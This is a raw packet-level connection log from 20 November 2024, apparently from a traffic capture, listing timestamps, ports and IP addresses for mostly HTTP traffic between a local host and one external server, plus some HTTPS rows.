Nov 20, 2024 08:09:25.817919016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817930937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817941904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817958117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817984104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818085909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818098068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818109035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818119049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818130016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818130970 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818141937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818151951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818152905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818166018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818169117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818177938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818188906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818197966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818200111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818213940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818233967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818249941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818417072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818428993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818440914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818451881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818454981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818461895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818475008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818483114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818516016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818852901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818864107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818875074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818897009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818908930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818922997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818931103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818936110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818948984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818953991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.818954945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.818989992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.851326942 CET	443	49873	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.867197990 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867229939 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867239952 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867268085 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867284060 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867292881 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:25.867301941 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867310047 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:25.867363930 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:25.867497921 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867542028 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:25.867552996 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.867589951 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:25.892765999 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:25.892786980 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:25.904292107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904309988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904321909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904357910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904357910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904371023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904383898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904401064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904401064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904417038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904480934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904606104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904618979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904629946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904643059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904654026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904670000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904696941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904800892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904814005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904824972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904834032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904844999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904845953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904867887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904896975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.904953003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904966116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.904977083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905000925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905025959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905086994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905097961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905108929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905118942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905128956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905128956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905143023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905162096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905179024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905260086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905272961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905293941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905311108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905441046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905453920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905469894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905478954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905500889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905528069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905613899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905626059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905637026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905647039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905658007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905662060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905669928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905682087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905689001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905690908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905706882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905721903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905810118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905821085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905832052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905842066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905853987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905854940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905865908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905878067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905884981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905896902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905904055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905909061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905920982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905929089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905931950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905945063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905956030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905970097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.905972958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905980110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905988932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.905997992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906002045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906003952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906011105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906013012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906013966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906044006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906063080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906241894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906255007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906286955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906394958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906407118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906425953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906433105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906438112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906450987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906461954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906462908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906496048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906539917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906553030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906563044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906574965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906591892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906600952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906605005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906614065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906630993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906656981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906696081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906708956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906722069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906734943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906738997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906764030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906845093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906856060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906867981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906877995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906881094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906888962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906899929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906912088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906914949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906923056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906935930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.906946898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906961918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906987906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.906987906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907001019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907011986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907021999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907021999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907033920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907038927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907047987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907054901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907058001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907066107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907080889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907088995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907104969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907129049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907175064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907186031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907196045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907207012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907216072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907217026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907229900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907239914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907247066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907252073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907263994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907263994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907289982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907299995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907329082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907330036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907341957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907341957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907355070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907365084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907365084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907378912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907380104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907393932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907399893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907406092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907417059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907427073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907433033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907439947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907450914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907450914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907463074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907466888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907495975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.907681942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907695055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.907730103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.987761974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987780094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987792015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987802029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987813950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987824917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987823009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.987835884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987848043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987859011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.987883091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.987894058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987936020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.987966061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987977982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987988949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.987999916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988010883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988023043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988033056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988034010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988048077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988060951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988060951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988080025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988097906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988104105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988115072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988116026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988123894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988135099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988145113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988152981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988162041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988189936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988190889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988208055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988234043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988331079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988364935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988734961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988745928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988756895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988768101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988779068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988809109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988894939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988907099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988918066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988929033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988940001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988944054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988953114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.988962889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.988977909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989005089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989065886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989077091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989088058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989099026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989100933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989110947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989118099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989123106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989146948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989165068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989377022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989386082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989397049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989413023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989432096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989528894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989541054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989551067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989562035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989572048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989573956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989584923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989598036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989605904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989638090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989833117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989844084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989856005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989876032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989903927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.989980936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.989993095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990030050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.990165949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990178108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990187883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990199089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990209103 CET	49765	80	192.168.2.5	185.215.113.206
